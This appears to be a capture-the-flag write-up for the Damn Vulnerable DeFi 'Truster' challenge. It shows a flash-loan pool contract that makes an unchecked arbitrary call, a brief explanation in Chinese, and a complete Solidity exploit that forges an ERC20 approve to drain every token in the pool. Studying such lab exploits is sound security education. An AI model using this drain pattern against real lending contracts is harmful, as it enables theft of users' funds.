Description
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
Code
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
error NotEnoughTokensInPool();
error FlashLoanHasNotBeenPaidBack();
constructor(address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
}
Solutions
Lending Pool
没有继承 ERCIERC3156FlashLender
,而是通过了functionCall
和传入的target
自己完成了回调功能,传入的data
可控,我们就可以伪造一个ERC20.approve()
来使供给合约可以操控Pool
中的Tokens
Exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}